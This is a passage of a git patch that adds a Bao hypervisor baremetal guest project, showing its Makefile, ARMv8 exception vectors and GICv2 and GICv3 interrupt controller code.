From e4238e5b3568d1bb1a3d47320f8e2ad56638e264 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Manuel=20Rodr=C3=ADguez?= Date: Sat, 21 Oct 2023 11:50:33 +0100 Subject: [PATCH] first commit MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Manuel Rodríguez --- .gitmodules | 6 + bao-baremetal-guest/Makefile | 131 +++++ bao-baremetal-guest/src/arch/armv8/arch.mk | 7 + .../src/arch/armv8/exceptions.S | 127 +++++ bao-baremetal-guest/src/arch/armv8/gicv2.c | 183 +++++++ bao-baremetal-guest/src/arch/armv8/gicv3.c | 513 ++++++++++++++++++ .../src/arch/armv8/inc/arch/irq.h | 9 + .../src/arch/armv8/inc/arch/timer.h | 8 + bao-baremetal-guest/src/arch/armv8/inc/cpu.h | 17 + .../src/arch/armv8/inc/fences.h | 55 ++ bao-baremetal-guest/src/arch/armv8/inc/gic.h | 336 ++++++++++++ .../src/arch/armv8/inc/page_tables.h | 66 +++ bao-baremetal-guest/src/arch/armv8/inc/psci.h | 72 +++ .../src/arch/armv8/inc/spinlock.h | 49 ++ .../src/arch/armv8/inc/sysregs.h | 480 ++++++++++++++++ bao-baremetal-guest/src/arch/armv8/inc/wfi.h | 8 + bao-baremetal-guest/src/arch/armv8/init.c | 28 + bao-baremetal-guest/src/arch/armv8/irq.c | 28 + .../src/arch/armv8/page_tables.S | 42 ++ bao-baremetal-guest/src/arch/armv8/psci.c | 68 +++ bao-baremetal-guest/src/arch/armv8/sources.mk | 8 + bao-baremetal-guest/src/arch/armv8/start.S | 106 ++++ bao-baremetal-guest/src/arch/armv8/timer.c | 16 + bao-baremetal-guest/src/arch/riscv/arch.mk | 6 + .../src/arch/riscv/exceptions.c | 30 + .../src/arch/riscv/inc/arch/irq.h | 10 + .../src/arch/riscv/inc/arch/timer.h | 8 + bao-baremetal-guest/src/arch/riscv/inc/cpu.h | 18 + bao-baremetal-guest/src/arch/riscv/inc/csrs.h | 171 ++++++ .../src/arch/riscv/inc/fences.h | 48 ++ bao-baremetal-guest/src/arch/riscv/inc/idma.h | 77 +++ .../src/arch/riscv/inc/page_tables.h | 47 ++ bao-baremetal-guest/src/arch/riscv/inc/plic.h | 62 +++ bao-baremetal-guest/src/arch/riscv/inc/sbi.h | 79 +++ .../src/arch/riscv/inc/spinlock.h | 50 ++ bao-baremetal-guest/src/arch/riscv/inc/wfi.h | 8 + bao-baremetal-guest/src/arch/riscv/init.c | 26 + bao-baremetal-guest/src/arch/riscv/irq.c | 23 + bao-baremetal-guest/src/arch/riscv/plic.c | 82 +++ bao-baremetal-guest/src/arch/riscv/sbi.c | 185 +++++++ bao-baremetal-guest/src/arch/riscv/sources.mk | 3 + bao-baremetal-guest/src/arch/riscv/start.S | 82 +++ bao-baremetal-guest/src/arch/riscv/timer.c | 17 + bao-baremetal-guest/src/core/inc/bit.h | 53 ++ bao-baremetal-guest/src/core/inc/irq.h | 15 + bao-baremetal-guest/src/core/inc/timer.h | 18 + bao-baremetal-guest/src/core/inc/uart.h | 26 + bao-baremetal-guest/src/core/irq.c | 14 + bao-baremetal-guest/src/core/retarget.c | 114 ++++ bao-baremetal-guest/src/core/sources.mk | 1 + .../src/drivers/8250_uart/8250_uart.c | 129 +++++ .../src/drivers/8250_uart/inc/8250_uart.h | 69 +++ .../src/drivers/8250_uart/sources.mk | 2 + .../src/drivers/nxp_uart/inc/nxp_uart.h | 52 ++ .../src/drivers/nxp_uart/nxp_uart.c | 46 ++ .../src/drivers/nxp_uart/sources.mk | 2 + .../src/drivers/pl011_uart/inc/pl011_uart.h | 221 ++++++++ .../src/drivers/pl011_uart/pl011_uart.c | 123 +++++ .../src/drivers/pl011_uart/sources.mk | 2 + .../src/drivers/zynq_uart/inc/zynq_uart.h | 298 ++++++++++ .../src/drivers/zynq_uart/sources.mk | 2 + .../src/drivers/zynq_uart/zynq_uart.c | 145 +++++ bao-baremetal-guest/src/linker.ld | 56 ++ bao-baremetal-guest/src/main.c | 284 ++++++++++ bao-baremetal-guest/src/platform/cva6/cva6.c | 37 ++ .../src/platform/cva6/inc/plat.h | 10 + bao-baremetal-guest/src/platform/cva6/plat.mk | 2 + .../src/platform/cva6/sources.mk | 2 + .../src/platform/imx8qm/imx8.c | 24 + .../src/platform/imx8qm/inc/plat.h | 9 + .../src/platform/imx8qm/plat.mk | 3 + .../src/platform/imx8qm/sources.mk | 2 + .../src/platform/qemu-aarch64-virt/inc/plat.h | 9 + .../src/platform/qemu-aarch64-virt/plat.mk | 3 + .../src/platform/qemu-aarch64-virt/sources.mk | 2 + .../src/platform/qemu-aarch64-virt/virt.c | 32 ++ .../src/platform/qemu-riscv64-virt/inc/plat.h | 10 + .../src/platform/qemu-riscv64-virt/plat.mk | 2 + .../src/platform/qemu-riscv64-virt/sources.mk | 2 + .../src/platform/qemu-riscv64-virt/virt.c | 34 ++ .../src/platform/rpi4/inc/plat.h | 8 + bao-baremetal-guest/src/platform/rpi4/plat.mk | 3 + bao-baremetal-guest/src/platform/rpi4/rpi4.c | 30 + .../src/platform/rpi4/sources.mk | 2 + .../src/platform/tx2/inc/plat.h | 9 + bao-baremetal-guest/src/platform/tx2/plat.mk | 3 + .../src/platform/tx2/sources.mk | 2 + bao-baremetal-guest/src/platform/tx2/tx2.c | 31 ++ .../src/platform/zcu102/inc/plat.h | 9 + .../src/platform/zcu102/plat.mk | 3 + .../src/platform/zcu102/sources.mk | 2 + bao-baremetal-guest/src/platform/zcu102/zcu.c | 30 + .../src/platform/zcu104/inc/plat.h | 9 + .../src/platform/zcu104/plat.mk | 3 + .../src/platform/zcu104/sources.mk | 2 + bao-baremetal-guest/src/platform/zcu104/zcu.c | 30 + bao-baremetal-guest/src/sources.mk | 1 + bao-hypervisor | 1 + build_all.sh | 10 + dts/ariane-dual-core.dtb | 0 dts/culsans-bao-linux.dtb | Bin 0 -> 1727 bytes dts/culsans-bao-linux.dts | 164 ++++++ dts/culsans-linux.dts | 162 ++++++ dts/cva6-ariane-minimal-bao.dtb | Bin 0 -> 1731 bytes dts/cva6-ariane-minimal-bao.dts | 105 ++++ dts/cva6-ariane-minimal.dtb | Bin 0 -> 3518 bytes dts/cva6-ariane-minimal.dts | 177 ++++++ lloader/Makefile | 30 + lloader/loader_rv64.ld | 20 + lloader/rv64.S | 22 + opensbi | 1 + 111 files changed, 6119 insertions(+) create mode 100644 .gitmodules create mode 100644 bao-baremetal-guest/Makefile create mode 100644 bao-baremetal-guest/src/arch/armv8/arch.mk create mode 100644 bao-baremetal-guest/src/arch/armv8/exceptions.S create mode 100644 bao-baremetal-guest/src/arch/armv8/gicv2.c create mode 100644 bao-baremetal-guest/src/arch/armv8/gicv3.c create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/arch/irq.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/arch/timer.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/cpu.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/fences.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/gic.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/page_tables.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/psci.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/spinlock.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/sysregs.h create mode 100644 bao-baremetal-guest/src/arch/armv8/inc/wfi.h create mode 100644 bao-baremetal-guest/src/arch/armv8/init.c create mode 100644 bao-baremetal-guest/src/arch/armv8/irq.c create mode 100644 bao-baremetal-guest/src/arch/armv8/page_tables.S create mode 100644 bao-baremetal-guest/src/arch/armv8/psci.c create mode 100644 bao-baremetal-guest/src/arch/armv8/sources.mk create mode 100644 bao-baremetal-guest/src/arch/armv8/start.S create mode 100644 bao-baremetal-guest/src/arch/armv8/timer.c create mode 100644 bao-baremetal-guest/src/arch/riscv/arch.mk create mode 100644 bao-baremetal-guest/src/arch/riscv/exceptions.c create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/arch/irq.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/arch/timer.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/cpu.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/csrs.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/fences.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/idma.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/page_tables.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/plic.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/sbi.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/spinlock.h create mode 100644 bao-baremetal-guest/src/arch/riscv/inc/wfi.h create mode 100644 bao-baremetal-guest/src/arch/riscv/init.c create mode 100644 bao-baremetal-guest/src/arch/riscv/irq.c create mode 100644 bao-baremetal-guest/src/arch/riscv/plic.c create mode 100644 bao-baremetal-guest/src/arch/riscv/sbi.c create mode 100644 bao-baremetal-guest/src/arch/riscv/sources.mk create mode 100644 bao-baremetal-guest/src/arch/riscv/start.S create mode 100644 bao-baremetal-guest/src/arch/riscv/timer.c create mode 100644 bao-baremetal-guest/src/core/inc/bit.h create mode 100644 bao-baremetal-guest/src/core/inc/irq.h create mode 100644 bao-baremetal-guest/src/core/inc/timer.h create mode 100644 bao-baremetal-guest/src/core/inc/uart.h create mode 100644 bao-baremetal-guest/src/core/irq.c create mode 100644 bao-baremetal-guest/src/core/retarget.c create mode 100644 bao-baremetal-guest/src/core/sources.mk create mode 100644 bao-baremetal-guest/src/drivers/8250_uart/8250_uart.c create mode 100644 bao-baremetal-guest/src/drivers/8250_uart/inc/8250_uart.h create mode 100644 bao-baremetal-guest/src/drivers/8250_uart/sources.mk create mode 100644 bao-baremetal-guest/src/drivers/nxp_uart/inc/nxp_uart.h create mode 100644 bao-baremetal-guest/src/drivers/nxp_uart/nxp_uart.c create mode 100644 bao-baremetal-guest/src/drivers/nxp_uart/sources.mk create mode 100644 bao-baremetal-guest/src/drivers/pl011_uart/inc/pl011_uart.h create mode 100644 bao-baremetal-guest/src/drivers/pl011_uart/pl011_uart.c create mode 100644 bao-baremetal-guest/src/drivers/pl011_uart/sources.mk create mode 100644 bao-baremetal-guest/src/drivers/zynq_uart/inc/zynq_uart.h create mode 100644 bao-baremetal-guest/src/drivers/zynq_uart/sources.mk create mode 100644 bao-baremetal-guest/src/drivers/zynq_uart/zynq_uart.c create mode 100644 bao-baremetal-guest/src/linker.ld create mode 100644 bao-baremetal-guest/src/main.c create mode 100644 bao-baremetal-guest/src/platform/cva6/cva6.c create mode 100644 bao-baremetal-guest/src/platform/cva6/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/cva6/plat.mk create mode 100644 bao-baremetal-guest/src/platform/cva6/sources.mk create mode 100644 bao-baremetal-guest/src/platform/imx8qm/imx8.c create mode 100644 bao-baremetal-guest/src/platform/imx8qm/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/imx8qm/plat.mk create mode 100644 bao-baremetal-guest/src/platform/imx8qm/sources.mk create mode 100644 bao-baremetal-guest/src/platform/qemu-aarch64-virt/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/qemu-aarch64-virt/plat.mk create mode 100644 bao-baremetal-guest/src/platform/qemu-aarch64-virt/sources.mk create mode 100644 bao-baremetal-guest/src/platform/qemu-aarch64-virt/virt.c create mode 100644 bao-baremetal-guest/src/platform/qemu-riscv64-virt/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/qemu-riscv64-virt/plat.mk create mode 100644 bao-baremetal-guest/src/platform/qemu-riscv64-virt/sources.mk create mode 100644 bao-baremetal-guest/src/platform/qemu-riscv64-virt/virt.c create mode 100644 bao-baremetal-guest/src/platform/rpi4/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/rpi4/plat.mk create mode 100644 bao-baremetal-guest/src/platform/rpi4/rpi4.c create mode 100644 bao-baremetal-guest/src/platform/rpi4/sources.mk create mode 100644 bao-baremetal-guest/src/platform/tx2/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/tx2/plat.mk create mode 100644 bao-baremetal-guest/src/platform/tx2/sources.mk create mode 100644 bao-baremetal-guest/src/platform/tx2/tx2.c create mode 100644 bao-baremetal-guest/src/platform/zcu102/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/zcu102/plat.mk create mode 100644 bao-baremetal-guest/src/platform/zcu102/sources.mk create mode 100644 bao-baremetal-guest/src/platform/zcu102/zcu.c create mode 100644 bao-baremetal-guest/src/platform/zcu104/inc/plat.h create mode 100644 bao-baremetal-guest/src/platform/zcu104/plat.mk create mode 100644 bao-baremetal-guest/src/platform/zcu104/sources.mk create mode 100644 bao-baremetal-guest/src/platform/zcu104/zcu.c create mode 100644 bao-baremetal-guest/src/sources.mk create mode 160000 bao-hypervisor create mode 100755 build_all.sh create mode 100644 dts/ariane-dual-core.dtb create mode 100644 dts/culsans-bao-linux.dtb create mode 100644 dts/culsans-bao-linux.dts create mode 100644 dts/culsans-linux.dts create mode 100644 dts/cva6-ariane-minimal-bao.dtb create mode 100644 dts/cva6-ariane-minimal-bao.dts create mode 100644 dts/cva6-ariane-minimal.dtb create mode 100644 dts/cva6-ariane-minimal.dts create mode 100644 lloader/Makefile create mode 100644 lloader/loader_rv64.ld create mode 100644 lloader/rv64.S create mode 160000 opensbi diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..2e4c9e9 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,6 @@ +[submodule "bao-hypervisor"] + path = bao-hypervisor + url = git@github.com:bao-project/bao-hypervisor.git +[submodule "opensbi"] + path = opensbi + url = git@github.com:riscv-software-src/opensbi.git diff --git a/bao-baremetal-guest/Makefile b/bao-baremetal-guest/Makefile new file mode 100644 index 0000000..c9185ec --- /dev/null +++ b/bao-baremetal-guest/Makefile @@ -0,0 +1,131 @@ +# +# Bao, a Lightweight Static Partitioning Hypervisor +# +# Copyright (c) Bao Project (www.bao-project.org), 2019- +# +# Authors: +# Jose Martins +# Sandro Pinto +# +# Bao is free software; you can redistribute it and/or modify it under the +# terms of the GNU General Public License version 2 as published by the Free +# Software Foundation, with a special exception exempting guest code from such +# license. See the COPYING file in the top-level directory for details. +# +# + + +NAME := baremetal +OPT_LEVEL = 0 +DEBUG_LEVEL = 3 + +ifneq ($(MAKECMDGOALS), clean) +ifeq ($(PLATFORM),) +$(error Undefined platform) +endif +endif + +SRC_DIR:=./src +BUILD_DIR:=build/$(PLATFORM) +TARGET:=$(BUILD_DIR)/$(NAME) +CORE_DIR:=$(SRC_DIR)/core +PLATFORM_DIR:=$(SRC_DIR)/platform/$(PLATFORM) +DRIVERS_DIR:=$(SRC_DIR)/drivers +SRC_DIRS:=$(SRC_DIR) $(CORE_DIR) $(PLATFORM_DIR) +INC_DIRS:=$(addsuffix /inc, $(SRC_DIRS)) + +ifeq ($(wildcard $(PLATFORM_DIR)),) +$(error unsupported platform $(PLATFORM)) +endif + +-include $(SRC_DIR)/sources.mk +C_SRC+=$(addprefix $(SRC_DIR)/, $(src_c_srcs)) + +-include $(CORE_DIR)/sources.mk +C_SRC+=$(addprefix $(CORE_DIR)/, $(core_c_srcs)) + +-include $(PLATFORM_DIR)/plat.mk +-include $(PLATFORM_DIR)/sources.mk +C_SRC+=$(addprefix $(PLATFORM_DIR)/, $(plat_c_srcs)) +ASM_SRC+=$(addprefix $(PLATFORM_DIR)/, $(plat_s_srcs)) + +SRC_DIRS+= $(foreach driver, $(drivers), $(DRIVERS_DIR)/$(driver)) +INC_DIRS+= $(foreach driver, $(drivers), $(DRIVERS_DIR)/$(driver)/inc) +-include $(foreach driver, $(drivers), $(DRIVERS_DIR)/$(driver)/sources.mk) +C_SRC+=$(addprefix $(DRIVERS_DIR)/, $(driver_c_srcs)) +ASM_SRC+=$(addprefix $(DRIVERS_DIR)/, $(driver_s_srcs)) + +ARCH_DIR:= $(SRC_DIR)/arch/$(ARCH) +SRC_DIRS+= $(ARCH_DIR) +INC_DIRS+= $(ARCH_DIR)/inc +-include $(ARCH_DIR)/arch.mk +-include $(ARCH_DIR)/sources.mk +C_SRC+=$(addprefix $(ARCH_DIR)/, $(arch_c_srcs)) +ASM_SRC+=$(addprefix $(ARCH_DIR)/, $(arch_s_srcs)) + +LD_FILE:= $(SRC_DIR)/linker.ld +GEN_LD_FILE:= $(BUILD_DIR)/linker.ld +#C_SRC = $(foreach src_dir, $(SRC_DIRS), $(wildcard $(src_dir)/*.c)) +#ASM_SRC = $(foreach src_dir, $(SRC_DIRS), $(wildcard $(src_dir)/*.S)) +OBJS = $(C_SRC:$(SRC_DIR)/%.c=$(BUILD_DIR)/%.o) $(ASM_SRC:$(SRC_DIR)/%.S=$(BUILD_DIR)/%.o) +DEPS = $(OBJS:%=%.d) $(GEN_LD_FILE).d +DIRS:=$(sort $(dir $(OBJS) $(DEPS))) + +CC=$(CROSS_COMPILE)gcc +AS=$(CROSS_COMPILE)as +LD=$(CROSS_COMPILE)ld +OBJCOPY=$(CROSS_COMPILE)objcopy +OBJDUMP=$(CROSS_COMPILE)objdump + +GENERIC_FLAGS = $(ARCH_GENERIC_FLAGS) -O$(OPT_LEVEL) -g$(DEBUG_LEVEL) -static +ASFLAGS = $(GENERIC_FLAGS) $(ARCH_ASFLAGS) +CFLAGS = $(GENERIC_FLAGS) $(ARCH_CFLAGS) +CPPFLAGS = $(ARCH_CPPFLAGS) $(addprefix -I, $(INC_DIRS)) -MD -MF $@.d +ifneq ($(SINGLE_CORE),) +CPPFLAGS+=-DSINGLE_CORE=y +endif +LDFLAGS = $(GENERIC_FLAGS) $(ARCH_LDFLAGS) -nostartfiles +all: $(TARGET).bin + +ifneq ($(MAKECMDGOALS), clean) +-include $(DEPS) +endif + +$(TARGET).bin: $(TARGET).elf + $(OBJCOPY) -O binary $< $@ + +$(TARGET).elf: $(OBJS) $(GEN_LD_FILE) + $(CC) $(LDFLAGS) -T$(GEN_LD_FILE) $(OBJS) -o $@ + $(OBJDUMP) -S $@ > $(TARGET).asm + $(OBJDUMP) -x -d --wide $@ > $(TARGET).lst + +$(BUILD_DIR): + mkdir -p $@ + +$(OBJS): | $(BUILD_DIR) + +$(BUILD_DIR)/%.o: $(SRC_DIR)/%.c + $(CC) $(CFLAGS) $(CPPFLAGS) -c $< -o $@ + +$(BUILD_DIR)/%.o: $(SRC_DIR)/%.S + $(CC) $(ASFLAGS) $(CPPFLAGS) -c $< -o $@ + +$(GEN_LD_FILE): $(LD_FILE) + $(CC) $(CPPFLAGS) -E -x assembler-with-cpp $< | grep "^[^#;]" > $@ + +.SECONDEXPANSION: + +$(OBJS) $(DEPS): | $$(@D)/ + +$(DIRS): + mkdir -p $@ + + +clean: + @rm -rf build + @rm -f *.elf + @rm -f *.bin + @rm -f *.asm + @rm -f *.lst + +.PHONY: all clean diff --git a/bao-baremetal-guest/src/arch/armv8/arch.mk b/bao-baremetal-guest/src/arch/armv8/arch.mk new file mode 100644 index 0000000..d83b8fc --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/arch.mk @@ -0,0 +1,7 @@ +CROSS_COMPILE ?=aarch64-none-elf- + +ARCH_GENERIC_FLAGS = -march=armv8-a -DGIC_VERSION=$(GIC_VERSION) #-mtls-dialect=trad +ARCH_ASFLAGS = +ARCH_CFLAGS = +ARCH_CPPFLAGS = +ARCH_LDFLAGS = diff --git a/bao-baremetal-guest/src/arch/armv8/exceptions.S b/bao-baremetal-guest/src/arch/armv8/exceptions.S new file mode 100644 index 0000000..b10dbd6 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/exceptions.S @@ -0,0 +1,127 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#define ENTRY_SIZE (0x80) + +.macro SAVE_REGS + + sub sp, sp, #(22 * 8) + + stp x0, x1, [sp, #(8*0)] + stp x2, x3, [sp, #(8*2)] + stp x4, x5, [sp, #(8*4)] + stp x6, x7, [sp, #(8*6)] + stp x8, x9, [sp, #(8*8)] + stp x10, x11, [sp, #(8*10)] + stp x12, x13, [sp, #(8*12)] + stp x14, x15, [sp, #(8*14)] + stp x16, x17, [sp, #(8*16)] + stp x18, x19, [sp, #(8*18)] + stp x29, x30, [sp, #(8*28)] +.endm + +.macro RESTORE_REGS + ldp x0, x1, [sp, #(8*0)] + ldp x2, x3, [sp, #(8*2)] + ldp x4, x5, [sp, #(8*4)] + ldp x6, x7, [sp, #(8*6)] + ldp x8, x9, [sp, #(8*8)] + ldp x10, x11, [sp, #(8*10)] + ldp x12, x13, [sp, #(8*12)] + ldp x14, x15, [sp, #(8*14)] + ldp x16, x17, [sp, #(8*16)] + ldp x18, x19, [sp, #(8*18)] + ldp x29, x30, [sp, #(8*28)] + + add sp, sp, #(22 * 8) +.endm + +.balign 0x800 +.global _exception_vector +_exception_vector: +/* + * EL1 with SP0 + */ +.balign ENTRY_SIZE +curr_el_sp0_sync: + b . +.balign ENTRY_SIZE +curr_el_sp0_irq: + b . +.balign ENTRY_SIZE +curr_el_sp0_fiq: + b . +.balign ENTRY_SIZE +curr_el_sp0_serror: + b . + + +/* + * EL1 with SPx + */ +.balign ENTRY_SIZE +curr_el_spx_sync: + b . +.balign ENTRY_SIZE +curr_el_spx_irq: + SAVE_REGS + bl gic_handle + RESTORE_REGS + eret +.balign ENTRY_SIZE +curr_el_spx_fiq: + SAVE_REGS + bl gic_handle + RESTORE_REGS + eret +.balign ENTRY_SIZE +curr_el_spx_serror: + b . + +/* + * Lower EL using AArch64 + */ + +.balign ENTRY_SIZE +lower_el_aarch64_sync: + b . +.balign ENTRY_SIZE +lower_el_aarch64_irq: + b . +.balign ENTRY_SIZE +lower_el_aarch64_fiq: + b . +.balign ENTRY_SIZE +lower_el_aarch64_serror: + b . + +/* + * Lower EL using AArch32 + */ +.balign ENTRY_SIZE +lower_el_aarch32_sync: + b . +.balign ENTRY_SIZE +lower_el_aarch32_irq: + b . +.balign ENTRY_SIZE +lower_el_aarch32_fiq: + b . +.balign ENTRY_SIZE +lower_el_aarch32_serror: + b . + +.balign ENTRY_SIZE \ No newline at end of file diff --git a/bao-baremetal-guest/src/arch/armv8/gicv2.c b/bao-baremetal-guest/src/arch/armv8/gicv2.c new file mode 100644 index 0000000..64bbad2 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/gicv2.c @@ -0,0 +1,183 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include "gic.h" +#include +#include + +volatile gicd_t* gicd = (void*)0xF9010000; +volatile gicc_t* gicc = (void*)0xF9020000; + +static size_t gic_num_int(){ + return ((gicd->TYPER & BIT_MASK(GICD_TYPER_ITLINENUM_OFF, GICD_TYPER_ITLINENUM_LEN) >> + GICD_TYPER_ITLINENUM_OFF) +1)*32; +} + +void gicc_init(){ + + for(int i =0; i < GIC_NUM_INT_REGS(GIC_CPU_PRIV); i++){ + /** + * Make sure all private interrupts are not enabled, non pending, + * non active. + */ + gicd->ICENABLER[i] = -1; + gicd->ICPENDR[i] = -1; + gicd->ICACTIVER[i] = -1; + } + + /* Clear any pending SGIs. */ + for(int i = 0; i < GIC_NUM_SGI_REGS; i++){ + gicd->CPENDSGIR[i] = -1; + } + + for(int i = 0; i< GIC_NUM_TARGET_REGS(GIC_CPU_PRIV); i++){ + gicd->IPRIORITYR[i] = -1; + } + + for(int i = 0; i< GIC_NUM_PRIO_REGS(GIC_CPU_PRIV); i++){ + gicd->IPRIORITYR[i] = -1; + } + + gicc->PMR = -1; + gicc->CTLR |= GICC_CTLR_EN_BIT; + +} + +void gicd_init(){ + + size_t int_num = gic_num_int(); + + /* Bring distributor to known state */ + for(int i = GIC_NUM_PRIVINT_REGS; i< GIC_NUM_INT_REGS(int_num); i++){ + /** + * Make sure all interrupts are not enabled, non pending, + * non active. + */ + gicd->ICENABLER[i] = -1; + gicd->ICPENDR[i] = -1; + gicd->ICACTIVER[i] = -1; + } + + /* All interrupts have lowest priority possible by default */ + for(int i = 0; i< GIC_NUM_PRIO_REGS(int_num); i++) + gicd->IPRIORITYR[i] = -1; + + /* No CPU targets for any interrupt by default */ + for(int i = 0; i< GIC_NUM_TARGET_REGS(int_num); i++) + gicd->ITARGETSR[i] = 0; + + /* No CPU targets for any interrupt by default */ + for(int i = 0; i< GIC_NUM_CONFIG_REGS(int_num); i++) + gicd->ICFGR[i] = 0xAAAAAAAA; + + /* No need to setup gicd->NSACR as all interrupts are setup to group 1 */ + + /* Enable distributor */ + gicd->CTLR |= GICD_CTLR_EN_BIT; +} + +void gic_init() { + if(get_cpuid() == 0) { + gicd_init(); + } + gicc_init(); +} + +void gic_set_enable(uint64_t int_id, bool en){ + + uint64_t reg_ind = int_id/(sizeof(uint32_t)*8); + uint64_t bit = (1UL << int_id%(sizeof(uint32_t)*8)); + + if(en) + gicd->ISENABLER[reg_ind] = bit; + else + gicd->ICENABLER[reg_ind] = bit; + +} + +void gic_set_trgt(uint64_t int_id, uint8_t trgt) +{ + uint64_t reg_ind = (int_id * GIC_TARGET_BITS) / (sizeof(uint32_t) * 8); + uint64_t off = (int_id * GIC_TARGET_BITS) % (sizeof(uint32_t) * 8); + uint32_t mask = ((1U << GIC_TARGET_BITS) - 1) << off; + + gicd->ITARGETSR[reg_ind] = + (gicd->ITARGETSR[reg_ind] & ~mask) | ((trgt << off) & mask); +} + +uint8_t gic_get_trgt(uint64_t int_id) +{ + uint64_t reg_ind = (int_id * GIC_TARGET_BITS) / (sizeof(uint32_t) * 8); + uint64_t off = (int_id * GIC_TARGET_BITS) % (sizeof(uint32_t) * 8); + uint32_t mask = ((1U << GIC_TARGET_BITS) - 1) << off; + + return (gicd->ITARGETSR[reg_ind] & mask) >> off; +} + +void gic_send_sgi(uint64_t cpu_target, uint64_t sgi_num){ + gicd->SGIR = (1UL << (GICD_SGIR_CPUTRGLST_OFF + cpu_target)) + | (sgi_num & GICD_SGIR_SGIINTID_MSK); +} + +void gic_set_prio(uint64_t int_id, uint8_t prio){ + uint64_t reg_ind = (int_id*GIC_PRIO_BITS)/(sizeof(uint32_t)*8); + uint64_t off = (int_id*GIC_PRIO_BITS)%((sizeof(uint32_t)*8)); + uint64_t mask = ((1 << GIC_PRIO_BITS)-1) << off; + + gicd->IPRIORITYR[reg_ind] = (gicd->IPRIORITYR[reg_ind] & ~mask) | + ((prio << off) & mask); +} + +bool gic_is_pending(uint64_t int_id){ + + uint64_t reg_ind = int_id/(sizeof(uint32_t)*8); + uint64_t off = int_id%(sizeof(uint32_t)*8); + + return ((1U << off) & gicd->ISPENDR[reg_ind]) != 0; +} + +void gic_set_pending(uint64_t int_id, bool pending){ + uint64_t reg_ind = int_id / (sizeof(uint32_t) * 8); + uint64_t mask = 1U << int_id % (sizeof(uint32_t) * 8); + + if (pending) { + gicd->ISPENDR[reg_ind] = mask; + } else { + gicd->ICPENDR[reg_ind] = mask; + } +} + +bool gic_is_active(uint64_t int_id){ + + uint64_t reg_ind = int_id/(sizeof(uint32_t)*8); + uint64_t off = int_id%(sizeof(uint32_t)*8); + + return ((1U << off) & gicd->ISACTIVER[reg_ind]) != 0; +} + +void gic_handle(){ + + uint64_t ack = gicc->IAR; + uint64_t id = ack & GICC_IAR_ID_MSK; + uint64_t src = (ack & GICC_IAR_CPU_MSK) >> GICC_IAR_CPU_OFF; + + if(id >= 1022) return; + + irq_handle(id); + + gicc->EOIR = ack; + +} diff --git a/bao-baremetal-guest/src/arch/armv8/gicv3.c b/bao-baremetal-guest/src/arch/armv8/gicv3.c new file mode 100644 index 0000000..b350712 --- /dev/null +++ b/bao-baremetal-guest/src/arch/armv8/gicv3.c @@ -0,0 +1,513 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Angelo Ruocco + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include +#include +#include +#include +#include +#include + +volatile gicd_t* gicd = (void*)0xF9010000; +volatile gicr_t* gicr = (void*)0xF9020000; + +static spinlock_t gicd_lock; +static spinlock_t gicr_lock; + + +inline uint64_t gic_num_irqs() +{ + uint32_t itlinenumber = + bit_extract(gicd->TYPER, GICD_TYPER_ITLN_OFF, GICD_TYPER_ITLN_LEN); + return 32 * itlinenumber + 1; +} + + +static inline void gicc_init() +{ + /* Enable system register interface i*/ + MSR(ICC_PMR_EL1, -1); + MSR(ICC_CTLR_EL1, GICC_CTLR_EN_BIT); + MSR(ICC_IGRPEN1_EL1, ICC_IGRPEN_EL1_ENB_BIT); +} + +static inline void gicr_init() +{ + gicr[get_cpuid()].ICENABLER0 = -1; + gicr[get_cpuid()].ICPENDR0 = -1; + gicr[get_cpuid()].ICACTIVER0 = -1; + + for (int i = 0; i < GIC_NUM_PRIO_REGS(GIC_CPU_PRIV); i++) { + gicr[get_cpuid()].IPRIORITYR[i] = -1; + } +} + +//void 